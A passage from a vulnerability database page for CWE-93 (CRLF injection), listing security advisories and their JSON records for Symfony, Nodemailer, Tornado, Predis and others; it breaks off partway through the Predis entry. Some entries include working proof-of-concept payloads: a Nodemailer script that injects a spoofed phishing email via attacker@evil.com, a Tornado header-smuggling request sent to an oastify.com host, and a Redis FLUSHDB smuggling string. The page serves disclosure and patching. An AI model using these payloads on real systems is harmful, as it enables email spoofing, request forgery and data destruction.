GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

401 vulnerabilities reference this CWE, most recent first.

GHSA-VQC8-7275-Q272

Vulnerability from github – Published: 2026-05-27 21:09 – Updated: 2026-05-27 21:09
VLAI
Summary
Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names
Details

Description

Symfony\Component\Mime\Header\ParameterizedHeader (and the related parameter handling reachable from Symfony\Component\Mime\Header\Headers) is responsible for serializing structured headers such as Content-Type and Content-Disposition, which carry key=value parameters (e.g. Content-Disposition: attachment; filename="x").

RFC 2045 / RFC 5322 require parameter names to be tokens: a restricted ASCII subset that excludes whitespace, CR/LF, and the tspecials set. Symfony's parameter handling validates and properly encodes parameter values, but does not validate parameter names: the supplied name is emitted verbatim into the serialized header.

A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a Content-Disposition parameter name, can include \r\n or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.

Resolution

ParameterizedHeader now rejects parameter names that contain bytes outside the RFC token character class.

The patch for this issue is available here for branch 5.4.

Credits

Symfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.

Severity
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:09:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Description\n\n`Symfony\\Component\\Mime\\Header\\ParameterizedHeader` (and the related parameter handling reachable from `Symfony\\Component\\Mime\\Header\\Headers`) is responsible for serializing structured headers such as `Content-Type` and `Content-Disposition`, which carry `key=value` parameters (e.g. `Content-Disposition: attachment; filename=\"x\"`).\n\nRFC 2045 / RFC 5322 require parameter *names* to be `tokens`: a restricted ASCII subset that excludes whitespace, CR/LF, and the `tspecials` set. Symfony\u0027s parameter handling validates and properly encodes parameter *values*, but does not validate parameter *names*: the supplied name is emitted verbatim into the serialized header.\n\nA caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a `Content-Disposition` parameter name, can include `\\r\\n` or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.\n\n### Resolution\n\n`ParameterizedHeader` now rejects parameter names that contain bytes outside the RFC `token` character class.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/e62ea217f8b4ca8ae922ad0f949e0c4dc1f9b613) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.",
  "id": "GHSA-vqc8-7275-q272",
  "modified": "2026-05-27T21:09:12Z",
  "published": "2026-05-27T21:09:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-vqc8-7275-q272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45070.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45070.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names"
}

GHSA-VQFG-JWCG-58WW

Vulnerability from github – Published: 2026-05-17 18:30 – Updated: 2026-05-18 15:30
VLAI
Details

Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.

The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.",
  "id": "GHSA-vqfg-jwcg-58ww",
  "modified": "2026-05-18T15:30:37Z",
  "published": "2026-05-17T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46720"
    },
    {
      "type": "WEB",
      "url": "https://github.com/robrwo/Net-Statsd-Tiny/commit/06f814f52fbcc0b2afddf7a2d6f8137fd3cede13.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/RRWO/Net-Statsd-Tiny-v0.3.8/changes"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVJJ-XCJG-GR5G

Vulnerability from github – Published: 2026-04-08 15:05 – Updated: 2026-04-08 15:05
VLAI
Summary
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)
Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes: - Multi-tenant SaaS platforms with per-tenant SMTP configuration - Admin panels where SMTP hostname/name settings are stored in databases - Applications loading SMTP config from environment variables or external sources

What can an attacker do: 1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. Spoof email senders by injecting arbitrary From headers in the DATA portion 3. Conduct phishing attacks using the legitimate SMTP server as a relay 4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:05:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand(\u0027EHLO \u0027 + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + \u0027\\r\\n\u0027, \u0027utf-8\u0027));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst net = require(\u0027net\u0027);\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n    socket.write(\u0027220 test ESMTP\\r\\n\u0027);\n    socket.on(\u0027data\u0027, data =\u003e {\n        const lines = data.toString().split(\u0027\\r\\n\u0027).filter(l =\u003e l);\n        lines.forEach(line =\u003e {\n            console.log(\u0027SMTP CMD:\u0027, line);\n            if (line.startsWith(\u0027EHLO\u0027) || line.startsWith(\u0027HELO\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line.startsWith(\u0027MAIL FROM\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line.startsWith(\u0027RCPT TO\u0027))\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line === \u0027DATA\u0027)\n                socket.write(\u0027354 Go\\r\\n\u0027);\n            else if (line === \u0027.\u0027)\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            else if (line === \u0027QUIT\u0027)\n                { socket.write(\u0027221 Bye\\r\\n\u0027); socket.end(); }\n            else if (line === \u0027RSET\u0027)\n                socket.write(\u0027250 OK\\r\\n\u0027);\n        });\n    });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n    const port = server.address().port;\n\n    // Inject a complete phishing email via EHLO name\n    const transport = nodemailer.createTransport({\n        host: \u0027127.0.0.1\u0027,\n        port: port,\n        secure: false,\n        name: \u0027legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\u0027\n            + \u0027RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n\u0027\n            + \u0027From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n\u0027\n            + \u0027Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET\u0027\n    });\n\n    transport.sendMail({\n        from: \u0027legit@example.com\u0027,\n        to: \u0027legit-recipient@example.com\u0027,\n        subject: \u0027Normal email\u0027,\n        text: \u0027Normal content\u0027\n    }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application\u0027s intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server\u0027s trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, \u0027\u0027);\n```",
  "id": "GHSA-vvjj-xcjg-gr5g",
  "modified": "2026-04-08T15:05:20Z",
  "published": "2026-04-08T15:05:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
}

GHSA-W235-7P84-XX57

Vulnerability from github – Published: 2024-06-06 21:46 – Updated: 2024-06-06 21:46
VLAI
Summary
Tornado has a CRLF injection in CurlAsyncHTTPClient headers
Details

Summary

Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

Details

When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:

The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Impact

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tornado"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T21:46:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nTornado\u2019s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl\u0027s (as well as pycurl\u0027s) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl\u2019s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado\u2019s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n    http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n    request = httpclient.HTTPRequest(\n        # Burp Collaborator payload\n        \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n        method=\"POST\",\n        body=\"body\",\n        # Injected header using CRLF characters\n        headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n    )\n\n    response = await http_client.fetch(request)\n    print(response.body)\n\n    http_client.close()\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.",
  "id": "GHSA-w235-7p84-xx57",
  "modified": "2024-06-06T21:46:31Z",
  "published": "2024-06-06T21:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/commit/7786f09f84c9f3f2012c4cf3878417cb9f053669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tornadoweb/tornado"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tornado has a CRLF injection in CurlAsyncHTTPClient headers"
}

GHSA-W4HH-9Q66-VGVC

Vulnerability from github – Published: 2023-11-03 12:30 – Updated: 2023-11-03 12:30
VLAI
Details

A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T11:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.",
  "id": "GHSA-w4hh-9q66-vgvc",
  "modified": "2023-11-03T12:30:31Z",
  "published": "2023-11-03T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4768"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-manageengine-desktop-central"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W6F5-V2H6-G786

Vulnerability from github – Published: 2026-09-08 20:57 – Updated: 2026-09-08 20:57
VLAI
Summary
Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections
Details

Summary

An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value or a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection.

  • On cluster connections (cluster option, incl. client-side sharding) this is remote command injection: shard-wide FLUSHDB, targeted DEL/SET, same-slot key theft via GET, cache poisoning, and possible node/cluster outage.
  • On replication connections (replication option) it is a reliable, repeatable denial of service (uncaught fatal error) triggered by any value containing \r\n.

Details

When a pipeline is executed over an aggregate connection, AbstractAggregateConnection::write() re-parses the already-serialized pipeline buffer with explode("\r\n") instead of honoring RESP length prefixes:

  • https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94
  • splits the buffer on \r\n, ignoring $<len> bulk lengths,
  • rebuilds each chunk via Command::deserializeCommand() (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157) to decide routing,
  • writes each chunk to the connection chosen for that (fake) command.

RESP is length-prefixed, so the Redis server parses the original stream correctly — but this second, client-side parser treats attacker-controlled \r\n sequences as command boundaries. An argument such as:

PAD\r\n*1\r\n$7\r\nFLUSHDB

is a single data value to the server, but a complete, valid FLUSHDB command to the re-parser. The consequence depends on the connection type:

  • Replication: a pipeline forces switchToMaster(), so all chunks go to the master and the byte stream stays intact — but the misaligned chunk makes deserializeCommand() throw an uncaught UnexpectedValueException: Invalid serializing format. Any value containing \r\n (binary serializers such as igbinary/msgpack, or multi-line text) reliably crashes the request. This is the crash tracked in #1574 — an unauthenticated, repeatable DoS.
  • Cluster: chunks are routed to different nodes by slot, so the byte stream is split across sockets. The smuggled command arrives on a node whose stream is clean and is executed, though the application never sent it:
  • FLUSHDB wipes an entire shard. It has no key but is routable because ClusterStrategy::getFakeKey() hardcodes the fake key 'key' (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56 and #L243-L246), so the smuggled command always lands on the node serving slot('key').
  • INFO (same fake-key routing) leaks server configuration via orphaned responses; CLUSTER FLUSHSLOTS can take a node down.
  • Same-slot GET/SET/DEL allow key theft (the reply is attributed to the application's own later command on that slot), cache poisoning and targeted data destruction; junk-key floods can exhaust node memory (OOM / mass eviction of legitimate keys).
  • Lua execution is not reachable: EVAL cannot be reconstructed (the class is EVAL_ due to the PHP reserved word), EVAL_RO fails the Keys trait validation, and EVALSHA requires a pre-loaded script. This is accidental, not a designed mitigation, and does not reduce severity — FLUSHDB/DEL/SET alone already permit full cache wipes and data destruction.

